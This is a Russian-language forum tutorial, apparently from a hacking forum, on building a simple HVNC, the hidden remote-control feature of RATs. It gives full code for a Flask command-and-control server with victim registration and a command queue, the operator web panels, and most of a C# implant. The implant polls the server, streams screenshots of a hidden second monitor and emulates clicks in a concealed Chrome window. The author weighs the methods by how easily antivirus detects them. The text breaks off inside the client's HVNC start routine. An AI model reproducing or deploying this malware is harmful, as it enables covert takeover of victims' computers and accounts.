• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем простейший HVNC

CognitoInc

(L3) cache
Пользователь
Регистрация
22.01.2024
Сообщения
155
Реакции
346
В данной статье я бы хотел показать вам самый простой и грубый, по моему личному мнению, способ написания HVNC.

Что такое HVNC?
HVNC — это скрытое удаленное управление и скрытый запуск приложений на системе, в нашем случае это будет происходить только на компьютерах на Windows. Как правило, HVNC — это одна из функций, которая находится в RAT.

HVNC вообще можно реализовать разными методами, их всего два (ну или я знаю всего два).

Первый метод заключается в том, чтобы создавать виртуальный рабочий стол, захватывать с него картинку через PrintWindow и эмулировать движение мыши.
Такой метод, как правило, и используется практически во всех RAT.
Плюсы такого метода:
  1. Главным плюсом такого метода я лично считаю то, что у вас есть в распоряжении полноценный рабочий стол, где вы можете заходить куда угодно.
  2. Гибкость в управлении. Такой метод позволяет свободно перемещаться по всей системе, заходить в любую папку или запускать любое приложение, которое вы найдете.
Но и минусы у него есть, в принципе, минусы есть у любого метода.
Минусы такого метода:
  1. Например, то, что этот метод уже давно заезжен, и антивирусам его проще заметить.
  2. Сложность у данного метода также могу считать минусом. А сложен он относительно второго метода при некоторых обстоятельствах.
Второй метод заключается в том, чтобы создавать WindowsForm, получать его handler, затем запускать, допустим, тот же Chrome, а затем запихивать окно Chrome внутрь созданной формы. После чего двигать эту форму за края монитора.
Такой метод хорош тем, что его труднее задетектить, так как создание формы и получение хендлеров используется и в обычных софтах. Но минусы у него также присутствуют.
Минусы такого метода:
  1. Например, его топорность в управлении. Такой метод не дает такой же гибкости в управлении компьютером, и там нет полноценного рабочего стола, там лишь конкретные приложения, которые вы запихнете в форму.
  2. Также этот метод тоже реализуется не самым простым способом (если вы хотите сделать нормальное управление и отображение).
Выбирая между двумя этими методами, у меня была задача выбрать как можно более простой вариант реализации, так как хотелось написать статью, которую сможет понять каждый.
Для реализации я выбрал все же второй метод. Лично для меня больше всего проблем при написании доставляла реализация эмуляции, а также корректный скриншот формы с приложениями внутри нее при условии, что форма находится за границей монитора.
С эмуляцией за гранью монитора нужно было достаточно повозиться, так как не все методы эмуляции могут справиться с такой задачей. Но мне пришла в голову бредовая, но действенная идея.

Упрощение второго метода:
Я решил, что мне не нужно выносить форму за края монитора, я просто добавлю второй монитор, и тогда любой метод эмуляции мыши будет подходить для этой задачи. Таким образом я избавился от проблемы с эмуляцией и скриншотом, так как скриншот теперь можно сделать чем угодно и не обязательно через захват определенного окна, а именно - формы.
Таким образом мне удалось максимально упростить код и его реализацию, и, по сути, это теперь самый простой способ сделать HVNC, так как он использует незамысловатый код, который должен понять даже новичок.

Как будет реализован сервер и клиент, а также их взаимодействие:
  1. Серверная часть будет написана на Flask Python.
  2. Клиент будет написан на C#.
  3. Взаимодействие между клиентом и сервером будет реализовано через HTTP-запросы.
Как будет реализовано само HVNC:
  1. Сервер будет отправлять команду клиенту о запуске HVNC.
  2. Клиент принимает команду.
  3. Затем клиент подкачивает с сервера драйвер для создания второго монитора.
  4. Клиент устанавливает драйвер.
  5. Созданный монитор будет последним в списке мониторов, поэтому после создания монитора будет определяться количество мониторов, и на последнем будет открываться WindowsForm.
  6. Далее от сервера поступит команда о запуске Chrome браузера.
  7. Клиент принимает команду о запуске браузера.
  8. Клиент запускает браузер и получает его handler.
  9. Клиент переносит окно браузера внутрь формы.
  10. Затем делаются скриншоты последнего монитора.
  11. Скриншоты отправляются на сервер в формате base64.
  12. Сервер принимает base64 и отправляет на HTML-страницу через веб-сокеты.
  13. На HTML-странице base64 конвертируется обратно в изображение.
  14. Получаются оригинальные размеры скриншота.
  15. Затем скриншоты уменьшаются под определенные размеры для нормального отображения на сайте.
  16. При нажатии на скриншот JS будет считывать координаты места клика относительно изначальных размеров изображения.
  17. Координаты отправляются на Python сервер.
  18. Сервер отправляет запрос с координатами клиенту.
  19. Клиент принимает координаты.
  20. Клиент эмулирует движение по координатам.
  21. После эмуляции возвращает мышь на координаты, которые были до эмуляции.
С тем, как будет устроен HVNC, мы разобрались. Список шагов кажется большим для названной мной легкой реализации, но на самом деле это не так сложно, как может показаться.

Теперь приступим к написанию HVNC. Первым делом займемся написанием сервера и клиента, которые будут обращаться к друг другу через HTTP-запросы, при этом мы сразу же будем делать так, чтобы была система пользователей, а не просто подключение только к одному пользователю.

Начнем реализацию с написания Python сервера на Flask:
Первым делом создадим сам проект. В качестве IDE будет использован PyCharm. Python будет версии 3.10. Для того чтобы создать проект, просто создадим пустую папку. В этой папке нажимаем правую кнопку мыши и выбираем "Open Folder as PyCharm".
Screenshot_1.png


Затем в открывшемся окне PyCharm в правом нижнем углу нажимаем то же самое, что и на скриншоте, для того чтобы создать виртуальную среду, в которой будут находиться все наши скачанные библиотеки.
Screenshot_2.png


После создания виртуальной среды нам нужно создать Python файл в проекте, если он еще не создан. Назову его main.py.
Далее импортируем сразу же все необходимые библиотеки:
  1. flask-socketio
  2. flask
  3. json
  4. flask-sqlalchemy
Вот как выглядят импортированные библиотеки в коде:
Python:
from flask_socketio import SocketIO
from flask import Flask, request, render_template, jsonify, send_from_directory
import json
from flask_sqlalchemy import SQLAlchemy

Теперь предоставлю полный код сервера, а далее рассмотрю отдельные части кода, чтобы вам было понятно, что и для чего написано в коде сервера:
Python:
from flask_socketio import SocketIO
from flask import Flask, request, render_template, jsonify, send_from_directory
import json
from flask_sqlalchemy import SQLAlchemy


app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
db = SQLAlchemy(app)
socketio = SocketIO(app)

IP = "127.0.0.1"
PORT = "5000"
HTTP = "http://127.0.0.1:5000"


commands = {}


@app.route('/users')
def users():
    users = Users.query.all()
    return render_template('users.html', users=users)


class Users(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    unique_id = db.Column(db.String(50), unique=True, nullable=False)

    def __repr__(self):
        return '<Users %r>' % self.unique_id


@app.route('/receive_id', methods=['POST'])
def receive_id():
    data = request.json
    unique_id = data.get('unique_id')

    if not unique_id:
        return json.dumps({'message': 'Уникальный ID не найден.'}, ensure_ascii=False), 400

    user = Users.query.filter_by(unique_id=unique_id).first()
    if user:
        return json.dumps({'message': 'Уникальный ID уже существует.'}, ensure_ascii=False), 409

    new_user = Users(unique_id=unique_id)
    db.session.add(new_user)
    db.session.commit()

    return json.dumps({'message': 'Уникальный ID добавлен!'}, ensure_ascii=False), 201


@app.route('/user/<unique_id>', methods=['GET'])
def user_page(unique_id):
    user = Users.query.filter_by(unique_id=unique_id).first()
    if not user:
        return f'Пользователь с уникальным идентификатором {unique_id} не найден.', 404
    return render_template('user_page.html', unique_id=unique_id)


@app.route('/start_hvnc/<unique_id>', methods=['POST'])
def start_hvnc(unique_id):
        command = request.json.get('command')
    if not command:
        return json.dumps({'error': 'Команда не поступала.'}, ensure_ascii=False), 400

 
    commands[unique_id] = command

    return json.dumps({'message': 'Команда сохранена.'}, ensure_ascii=False), 200


@app.route('/requests/<unique_id>', methods=['GET', 'POST'])
def handle_requests(unique_id):
 
    if unique_id in commands:
     
        command = commands[unique_id]
     
        del commands[unique_id]
                return json.dumps({'command': command}), 200
    else:
        return json.dumps({'error': 'Нет команды для данного ID.'}, ensure_ascii=False), 404


@app.route('/download_monitor')
def download_monitor():
    directory = 'monitor'
    filename = 'monitor.zip'
    return send_from_directory(directory, filename, as_attachment=True)


@app.route('/hvnc/<unique_id>', methods=['GET'])
def hvnc_page(unique_id):
    user = Users.query.filter_by(unique_id=unique_id).first()
    if not user:
        return f'Пользователь с уникальным идентификатором {unique_id} не найден.', 404
    return render_template('hvnc_page.html', unique_id=unique_id)


@app.route('/start_hvnc_chrome/<unique_id>', methods=['POST'])
def start_hvnc_chrome(unique_id):
 
    command = request.json.get('command')
    if not command:
        return json.dumps({'error': 'Команда не поступала.'}, ensure_ascii=False), 400

 
    commands[unique_id] = command

    return json.dumps({'message': 'Команда сохранена.'}, ensure_ascii=False), 200


@app.route('/upload_screenshot/<unique_id>', methods=['POST'])
def upload_screenshot(unique_id):
    data = request.json
    screenshot_base64 = data.get('screenshot')

    if not screenshot_base64:
        return json.dumps({'message': 'Скриншот не найден.'}, ensure_ascii=False), 400

    try:
     
        socketio.emit('image', {'image_data': screenshot_base64, 'unique_id': unique_id})
    except Exception as e:
        return json.dumps({'message': f'Ошибка при отправке скриншота: {str(e)}'}, ensure_ascii=False), 500

    return json.dumps({'message': 'Скриншот успешно загружен.'}, ensure_ascii=False), 200


@socketio.on('connect')
def handle_connect():
    print('Client connected')


@app.route('/save_coordinates/<unique_id>', methods=['POST'])
def save_coordinates(unique_id):
    data = request.json
    x = data.get('x')
    y = data.get('y')

    if x is None or y is None:
        return jsonify({'error': 'Координаты не найдены.'}), 400

    command = f'move_mouse {x+1366} {y}'

    commands[unique_id] = command

    return jsonify({'message': 'Координаты сохранены успешно.'}), 200

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host=IP, port=PORT, debug=True)

Теперь приступим к разъяснениям данного кода:
Python:
app = Flask(__name__)
Эта строка создает Flask приложение

Python:
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
Данная строка указывает, какую конкретно базу данных мы будем использовать, в нашем случае это SQLite. Сама база данных будет находиться в папке instance, это дефолтный путь, который назначает сам Flask. Не советую его менять.

Python:
db = SQLAlchemy(app)
Эта строка отвечает за создание объекта базы данных, который будет взаимодействовать с Flask (app).

Python:
socketio = SocketIO(app)
Этот объект отвечает за поддержку WebSocket, которая нам понадобится позже, и также привязывается к Flask приложению.

Python:
IP = "127.0.0.1"
PORT = "5000"
HTTP = "http://127.0.0.1:5000"
Это просто переменные, в которых будет храниться адрес сервера, это нужно для того, чтобы везде, где нужно указать адрес, не писать его полностью.

Python:
commands = {}
Тут будут храниться команды, которые будут отправляться клиенту.

Python:
@app.route('/users')
def users():
    users = Users.query.all()
    return render_template('users.html', users=users)
Этот код отвечает за создание маршрута, который отвечает на запросы к странице users и перенаправляет на эту страницу. На этой странице будут находиться все клиенты.

Python:
class Users(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    unique_id = db.Column(db.String(50), unique=True, nullable=False)

    def __repr__(self):
        return '<Users %r>' % self.unique_id
Этот код отвечает за взаимодействие с базой данных пользователей. Это нужно для того, чтобы взаимодействовать с таблицей и столбцами внутри нее. В данном случае, в основном, со столбцом unique_id. В нем будет храниться уникальный ID каждого подключенного пользователя. Это нам понадобится для того, чтобы определять, какому из пользователей отправлять команды.

Python:
@app.route('/receive_id', methods=['POST'])
def receive_id():
    data = request.json
    unique_id = data.get('unique_id')

    if not unique_id:
        return json.dumps({'message': 'Уникальный ID не найден.'}, ensure_ascii=False), 400

    user = Users.query.filter_by(unique_id=unique_id).first()
    if user:
        return json.dumps({'message': 'Уникальный ID уже существует.'}, ensure_ascii=False), 409

    new_user = Users(unique_id=unique_id)
    db.session.add(new_user)
    db.session.commit()

    return json.dumps({'message': 'Уникальный ID добавлен!'}, ensure_ascii=False), 201
Данный код отвечает за получение запроса от клиента, в котором он отправляет свой уникальный идентификатор (ID). После получения ID, он записывается в базу данных в столбец unique_id, о котором я писал выше.

Python:
@app.route('/user/<unique_id>', methods=['GET'])
def user_page(unique_id):
    user = Users.query.filter_by(unique_id=unique_id).first()
    if not user:
        return f'Пользователь с уникальным идентификатором {unique_id} не найден.', 404
    return render_template('user_page.html', unique_id=unique_id)
Этот код так же, как и @app.route('/users'), отвечает за перенаправление на HTML страницу. На данной странице будет находиться кнопка, при нажатии на которую будет отправляться запрос клиенту о включении HVNC. Хочу ответить unique_id. Он указывает на то, что если мы захотим нажать на кнопку для отправки запроса на запуск HVNC, нам потребуется в ссылке на страницу указать уникальный идентификатор пользователя, которому мы хотим отправить запрос.

Python:
@app.route('/start_hvnc/<unique_id>', methods=['POST'])
def start_hvnc(unique_id):
    command = request.json.get('command')
    if not command:
        return json.dumps({'error': 'Команда не поступала.'}, ensure_ascii=False), 400

    commands[unique_id] = command

    return json.dumps({'message': 'Команда сохранена.'}, ensure_ascii=False), 200
Данный код отвечает за то, чтобы принимать JSON при нажатии на кнопку запуска HVNC. После принятия JSON, в котором будет храниться команда для запуска HVNC, команда будет отправлена в commands = {} для конкретного ID (о нем мы писали в самом начале разъяснения кода).

Python:
@app.route('/requests/<unique_id>', methods=['GET', 'POST'])
def handle_requests(unique_id):
    if unique_id in commands:
        command = commands[unique_id]
        del commands[unique_id]
        return json.dumps({'command': command}), 200
    else:
        return json.dumps({'error': 'Нет команды для данного ID.'}, ensure_ascii=False), 404
Этот код берет команду из commands = {} для конкретного ID и отправляет ее на адрес requests для конкретного ID. После того как команда отправилась на этот адрес, commands очищается, чтобы не спамить одной и той же командой.
В принципе, все команды будут отправляться на этот адрес, а клиент всегда будет обращаться также только на этот адрес для получения команд. При разборе клиентской части об этом еще напишу подробнее.

Python:
@app.route('/download_monitor')
def download_monitor():
    directory = 'monitor'
    filename = 'monitor.zip'
    return send_from_directory(directory, filename, as_attachment=True)
Этот код нужен для того, чтобы клиент загружал с сервера архив с драйвером для создания дополнительного монитора.

Python:
@app.route('/hvnc/<unique_id>', methods=['GET'])
def hvnc_page(unique_id):
    user = Users.query.filter_by(unique_id=unique_id).first()
    if not user:
        return f'Пользователь с уникальным идентификатором {unique_id} не найден.', 404
    return render_template('hvnc_page.html', unique_id=unique_id)
А этот код нужен для того, чтобы при нажатии на кнопку запуска HVNC нас перенаправляло на страницу hvnc_page, на которой будет отображаться трансляция и кнопка для отправки запроса на запуск браузера.

Python:
@app.route('/start_hvnc_chrome/<unique_id>', methods=['POST'])
def start_hvnc_chrome(unique_id):
    command = request.json.get('command')
    if not command:
        return json.dumps({'error': 'Команда не поступала.'}, ensure_ascii=False), 400

    commands[unique_id] = command

    return json.dumps({'message': 'Команда сохранена.'}, ensure_ascii=False), 200
Данный код как раз отвечает за то, чтобы при нажатии на кнопку запуска браузера сюда отправлялся JSON с командой, которая в последствии отправляется в command, а потом, как я писал ранее, все команды из command отправляются в requests, а оттуда их уже забирает клиент.

Python:
@app.route('/upload_screenshot/<unique_id>', methods=['POST'])
def upload_screenshot(unique_id):
    data = request.json
    screenshot_base64 = data.get('screenshot')

    if not screenshot_base64:
        return json.dumps({'message': 'Скриншот не найден.'}, ensure_ascii=False), 400

    try:
        socketio.emit('image', {'image_data': screenshot_base64, 'unique_id': unique_id})
    except Exception as e:
        return json.dumps({'message': f'Ошибка при отправке скриншота: {str(e)}'}, ensure_ascii=False), 500

    return json.dumps({'message': 'Скриншот успешно загружен.'}, ensure_ascii=False), 200
Этот код отвечает за принятие изображений в формате base64, а затем отправляет их на страницу по WebSocket.

Python:
@app.route('/save_coordinates/<unique_id>', methods=['POST'])
def save_coordinates(unique_id):
    data = request.json
    x = data.get('x')
    y = data.get('y')

    if x is None or y is None:
        return jsonify({'error': 'Координаты не найдены.'}), 400

    command = f'move_mouse {x+1366} {y}'

    commands[unique_id] = command

    return jsonify({'message': 'Координаты сохранены успешно.'}), 200
Ну а этот код нужен для того, чтобы принимать координаты, куда мы нажимали на странице в объекте трансляции. Далее к координате x прибавляется разрешение моего основного монитора для того, чтобы эмуляция происходила не на первом мониторе, а на последнем (в моем случае - на втором). После получения координат они отправляются в command.
P.S Я знаю, что прибавлять тут значение к координатам это тупое решение, мне было нужно это для тестов. Если делать по-нормальному, то нужно на клиентской стороне вычислять координаты всех мониторов, не считая последнего по координате x, и уже на клиенте прибавлять полученное число. Просто пока я тестировал, я постоянно менял значения. Если их менять на клиентской части, то ее постоянно нужно перезапускать и отправлять все запросы на запуск по новой, а если делать это на стороне сервера, ничего перезапускать не нужно. В общем, так просто было проще для тестирования.

На этом разъяснение Python кода закончено, теперь приступим к HTML страницам.
Перейдем к странице users:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Список пользователей</title>
</head>
<body>
    <h1>Список пользователей</h1>
    <table border="1">
        <thead>
            <tr>
                <th>ID</th>
                <th>Уникальный ID</th>
                <th>Действие</th>
            </tr>
        </thead>
        <tbody>
            {% for user in users %}
            <tr>
                <td>{{ user.id }}</td>
                <td>{{ user.unique_id }}</td>
                <td><a href="/user/{{ user.unique_id }}">Panel</a></td>
            </tr>
            {% endfor %}
        </tbody>
    </table>
</body>
</html>
На данной странице отображается таблица, в которой хранится список подключенных пользователей, а именно: их уникальные индентивикаторы. Также здесь присутствует кнопка "Panel", которая перенаправляет на страницу управления пользователем, на которой находится кнопка для отправки запроса на запуск HVNC.

Теперь рассмотрим как раз страницу, на которую перенаправляет при нажатии на кнопку "Panel":
HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>User Page</title>
</head>
<body>
    <h1>User Page</h1>
    <p>Unique ID: {{ unique_id }}</p>
    <form id="start-hvnc-form">
        <input type="hidden" id="unique_id" value="{{ unique_id }}">
        <button type="submit">Start HVNC</button>
    </form>
<script>
    document.getElementById("start-hvnc-form").addEventListener("submit", function(event) {
        event.preventDefault();
        var uniqueId = document.getElementById('unique_id').value;
        var url = '/start_hvnc/' + uniqueId;
        var data = { command: 'start_hvnc' };

        fetch(url, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(data),
        })
        .then(response => {
            if (!response.ok) {
                throw new Error('Network response was not ok');
            }
            return response.json();
        })
        .then(data => {
            console.log('Command sent successfully:', data);
            window.location.href = '/hvnc/' + uniqueId; // Переход на страницу hvnc/<unique_id>
        })
        .catch(error => {
            console.error('Error sending command:', error);
        });
    });
</script>
</body>
</html>
Как раз на этой странице находится кнопка для отправки запроса на запуск HVNC. Отправка запроса происходит в JS. Но для начала формируется JSON объект, в который записывается команда "start_hvnc", а затем уже происходит отправка этой команды на адрес "/start_hvnc/" + уникальный идентификатор пользователя. И как писал ранее в объяснении Python кода, из "start_hvnc" команда отправляется в "command", а оттуда она уже берется и отправляется на адрес "requests".

Теперь рассмотри последнюю страницу, а именно - страница, где находится кнопка для отправки запроса на запуск браузера и контейнер, в котором будет отображаться трансляция:
HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>HVNC Page</title>
    <style>
        #image-container {
            position: relative;
            width: 100%;
            height: 100%;
        }

            #image-container img {
                max-width: none;
                max-height: none;
                position: absolute;
                top: 0;
                left: 0;
                height: 500px;
                cursor: crosshair;
            }
    </style>
</head>
<body>
    <h1>HVNC Page</h1>
    <p>Unique ID: {{ unique_id }}</p>
    <div id="image-container"></div>
    <form id="start_hvnc_chrome">
        <input type="hidden" id="unique_id" value="{{ unique_id }}">
        <button type="submit">Chrome</button>
    </form>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.3.1/socket.io.js"></script>
    <script>
        document.getElementById("start_hvnc_chrome").addEventListener("submit", function (event) {
            event.preventDefault();
            var uniqueId = document.getElementById('unique_id').value;
            var url = '/start_hvnc_chrome/' + uniqueId;
            var data = { command: 'start_hvnc_chrome' };

            fetch(url, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(data),
            })
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Network response was not ok');
                    }
                    return response.json();
                })
                .then(data => {
                    console.log('Command sent successfully:', data);
                })
                .catch(error => {
                    console.error('Error sending command:', error);
                });
        });

        const socket = io();

        socket.on('image', function (data) {
            const imgContainer = document.getElementById('image-container');
            imgContainer.innerHTML = '';
            const img = document.createElement('img');
            img.src = 'data:image/png;base64,' + data.image_data;
            imgContainer.appendChild(img);

            img.addEventListener('mousedown', function (event) {
                const imgRect = img.getBoundingClientRect();
                const imgWidth = img.naturalWidth;
                const imgHeight = img.naturalHeight;
                const offsetX = event.clientX - imgRect.left;
                const offsetY = event.clientY - imgRect.top;
                const x = Math.round(offsetX / imgRect.width * imgWidth);
                const y = Math.round(offsetY / imgRect.height * imgHeight);
                const uniqueId = document.getElementById('unique_id').value;
                sendCoordinates(uniqueId, x, y);
            });
        });

        function sendCoordinates(uniqueId, x, y) {
            var url = '/save_coordinates/' + uniqueId;
            var data = { x: x, y: y };

            fetch(url, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(data),
            })
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Network response was not ok');
                    }
                    return response.json();
                })
                .then(data => {
                    console.log('Coordinates sent successfully:', data);
                })
                .catch(error => {
                    console.error('Error sending coordinates:', error);
                });
        }
    </script>
</body>
</html>
В данном коде отправка запроса при нажатии на кнопку происходит по аналогии с другими страницами. То есть формируется JSON объект с командой, и затем отправляется на адрес, который в последствии эту команду отправляет в "command".
Получение изображения происходит через WebSocket. После отображения скриншота, контейнер, в котором он хранится, очищается, и на это место загружается новый скриншот.

Правильный расчет координат происходит таким образом:
  1. Получаются координаты относительно размера изображения на странице и получения самого размера.
  2. Получение размера оригинального изображения.
  3. Происходит деление расстояния от левого края изображения до точки клика на текущую ширину скриншота на экране и умножение на оригинальную ширину скриншота.
  4. Происходит деление расстояния от верхнего края изображения до точки клика на текущую высоту искриншота на экране и умножение на оригинальную высоту скриншота.
  5. Отправка координат так же идет по аналогии с предыдущим кодом для отправки команд.
На этом объяснение всей серверной части закончено, будем приступать к клиентской части и к самой интересной.
  1. Для начала создадим сам проект клиентской части. IDE будет использоваться VisualStudio.
  2. Нам нужно будет создать консольное приложение NetFrameWork.
  3. В открывшемся проекте предлагаю сразу же создать дополнительный cs файл, в котором будут находиться необходимые импорты DLL. Их будет много, так что не вижу смысла пихать их в основной файл. Назовем его "NativeMethods".
Сразу же вставим туда код:
C#:
using System;
using System.Runtime.InteropServices;
using System.Text;

public static class NativeMethods
{
    [DllImport("user32.dll")]
    public static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
    public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);

    [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);

    [DllImport("user32.dll", SetLastError = true)]
    public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);

    [DllImport("user32.dll")]
    public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);

    [DllImport("user32.dll", SetLastError = true)]
    public static extern IntPtr SetWindowLong(IntPtr hWnd, int nIndex, IntPtr dwNewLong);

    [DllImport("user32.dll", SetLastError = true)]
    public static extern IntPtr GetWindowLong(IntPtr hWnd, int nIndex);

    [DllImport("user32.dll")]
    public static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);

    [DllImport("user32.dll")]
    public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);

    [DllImport("user32.dll")]
    public static extern void mouse_event(uint dwFlags, int dx, int dy, uint dwData, UIntPtr dwExtraInfo);

    public const int MOUSEEVENTF_LEFTDOWN = 0x02;
    public const int MOUSEEVENTF_LEFTUP = 0x04;

    public const int GWL_STYLE = -16;
    public const int WS_CHILD = 0x40000000;

    [StructLayout(LayoutKind.Sequential)]
    public struct RECT
    {
        public int Left;
        public int Top;
        public int Right;
        public int Bottom;
    }

    [Flags]
    public enum SetWindowPosFlags : uint
    {
        SWP_NOSIZE = 0x0001,
        SWP_NOMOVE = 0x0002,
        SWP_NOZORDER = 0x0004
    }
}
Расскажу подробнее о некоторых импортах:
  1. EnumWindows: Перебирает все окна на экране и вызывает функцию для каждого окна. Это нам нужно, чтобы находить нужное нам окно.
  2. GetClassName: Нужен для получения имени окна.
  3. GetWindowThreadProcessId: Получает номер процесса, который создал это окно.
  4. SetParent: Указывает новое родительское окно у указанного нами окна. Это нужно для того, чтобы запихнуть браузер в форму.
  5. SetWindowLong: Меняет свойства окна.
  6. GetWindowLong: Получает свойства окна.
  7. SetWindowPos: Меняет размеры и положение окна.
  8. mouse_event: Отвечает за управление мышью.

С этим разобрались, теперь приступим к разбору основного кода:
C#:
using Newtonsoft.Json;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Text;
using System.Windows.Forms;

class Program
{
    static string uniqueId;

    static Form hvncForm;
    static System.Threading.Timer screenshotTimer;
    static Screen lastScreen;
    static string ip = "http://127.0.0.1:5000";

    static void Main(string[] args)
    {
        string filePath = "unique_id.txt";

     
        if (File.Exists(filePath))
        {
            uniqueId = File.ReadAllText(filePath).Trim();
        }
        else
        {
            uniqueId = Guid.NewGuid().ToString();
            WriteToFile(filePath, uniqueId);
            SendPostRequest("{ip}/receive_id", uniqueId);
        }

     
        System.Threading.Timer timer = new System.Threading.Timer(TimerCallback, null, 1000, 1000);

     
        Console.WriteLine($"Уникальный ID: {uniqueId}");

     
        Console.ReadLine();
    }

 
    static void TimerCallback(object state)
    {
        SendPostRequest($"{ip}/requests/{uniqueId}", uniqueId);
    }

 
    static void SendPostRequest(string url, string data)
    {
        try
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            request.Method = "POST";
            request.ContentType = "application/json";

         
            using (StreamWriter streamWriter = new StreamWriter(request.GetRequestStream()))
            {
                string json = JsonConvert.SerializeObject(new { unique_id = data });
                streamWriter.Write(json);
            }

         
            using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
            {
             
                using (StreamReader streamReader = new StreamReader(response.GetResponseStream()))
                {
                    string result = streamReader.ReadToEnd();
                    Console.WriteLine("Ответ от сервера: " + result);

                 
                    dynamic responseObject = JsonConvert.DeserializeObject(result);

                 
                    if (responseObject.command != null && responseObject.command.ToString().StartsWith("move_mouse"))
                    {
                        HandleMoveMouseCommand(responseObject.command.ToString());
                    }

                 
                    if (responseObject.command != null && responseObject.command == "start_hvnc")
                    {
                        HandleStartHVNCCommand(responseObject.command.ToString());
                    }

                    else if (responseObject.command != null && responseObject.command == "start_hvnc_chrome")
                    {
                        HandleStartHVNCChromeCommand(responseObject.command.ToString());
                    }
                }
            }
        }
        catch (WebException e)
        {
         
            if (e.Response is HttpWebResponse response)
            {
                using (StreamReader reader = new StreamReader(response.GetResponseStream()))
                {
                    string errorText = reader.ReadToEnd();
                    Console.WriteLine($"Ошибка: {errorText}");
                }
            }
            else
            {
                Console.WriteLine($"Нет ответа от сервера: {e.Message}");
            }
        }
    }

 
    static void WriteToFile(string filePath, string data)
    {
        using (StreamWriter writer = new StreamWriter(filePath))
        {
            writer.WriteLine(data);
        }
    }

 
    static string GetChromeWindowClass(IntPtr hWnd)
    {
        StringBuilder className = new StringBuilder(256);
        NativeMethods.GetClassName(hWnd, className, className.Capacity);
        return className.ToString();
    }

 
    static void CenterChromeWindow(IntPtr chromeWindowHandle, Form form)
    {
        NativeMethods.RECT rect;
        NativeMethods.GetWindowRect(chromeWindowHandle, out rect);
        int chromeWidth = rect.Right - rect.Left;
        int chromeHeight = rect.Bottom - rect.Top;

        int formWidth = form.ClientSize.Width;
        int formHeight = form.ClientSize.Height;

        int chromeX = (formWidth - chromeWidth) / 2;
        int chromeY = (formHeight - chromeHeight) / 2;

        NativeMethods.SetWindowPos(chromeWindowHandle, IntPtr.Zero, chromeX, chromeY, chromeWidth, chromeHeight, (uint)(NativeMethods.SetWindowPosFlags.SWP_NOZORDER | NativeMethods.SetWindowPosFlags.SWP_NOSIZE));
    }

 
    static void ScreenshotCallback(object state)
    {
        try
        {
            Bitmap screenshot = new Bitmap(lastScreen.Bounds.Width, lastScreen.Bounds.Height, PixelFormat.Format32bppArgb);
            using (Graphics gfx = Graphics.FromImage(screenshot))
            {
                gfx.CopyFromScreen(lastScreen.Bounds.X, lastScreen.Bounds.Y, 0, 0, lastScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
            }

            string screenshotBase64;
            using (MemoryStream ms = new MemoryStream())
            {
                screenshot.Save(ms, ImageFormat.Png);
                byte[] imageBytes = ms.ToArray();
                screenshotBase64 = Convert.ToBase64String(imageBytes);
            }

            string url = $"{ip}/upload_screenshot/{uniqueId}";
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            request.Method = "POST";
            request.ContentType = "application/json";

            using (StreamWriter streamWriter = new StreamWriter(request.GetRequestStream()))
            {
                string json = JsonConvert.SerializeObject(new { screenshot = screenshotBase64 });
                streamWriter.Write(json);
            }

            using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
            {
                using (StreamReader streamReader = new StreamReader(response.GetResponseStream()))
                {
                    string result = streamReader.ReadToEnd();
                    Console.WriteLine("Ответ от сервера: " + result);
                }
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine("Ошибка в методе ScreenshotCallback: " + ex.Message);
        }
    }

 
    static void HandleMoveMouseCommand(string command)
    {
        string[] parts = command.Split(' ');
        if (parts.Length == 3 && parts[0] == "move_mouse")
        {
            int x, y;
            if (int.TryParse(parts[1], out x) && int.TryParse(parts[2], out y))
            {
                Console.WriteLine($"Координаты мыши: x={x}, y={y}");
             
                int originalX = Cursor.Position.X;
                int originalY = Cursor.Position.Y;
                Cursor.Position = new Point(x, y);
                NativeMethods.mouse_event(NativeMethods.MOUSEEVENTF_LEFTDOWN | NativeMethods.MOUSEEVENTF_LEFTUP, x, y, 0, UIntPtr.Zero);
             
                Cursor.Position = new Point(originalX, originalY);
            }
            else
            {
                Console.WriteLine("Ошибка парсинга координат.");
            }
        }
        else
        {
            Console.WriteLine("Некорректный формат команды move_mouse.");
        }
    }
    static void HandleStartHVNCCommand(string command)
    {
     
        try
        {
            Console.WriteLine("Запускаем HVNC.");
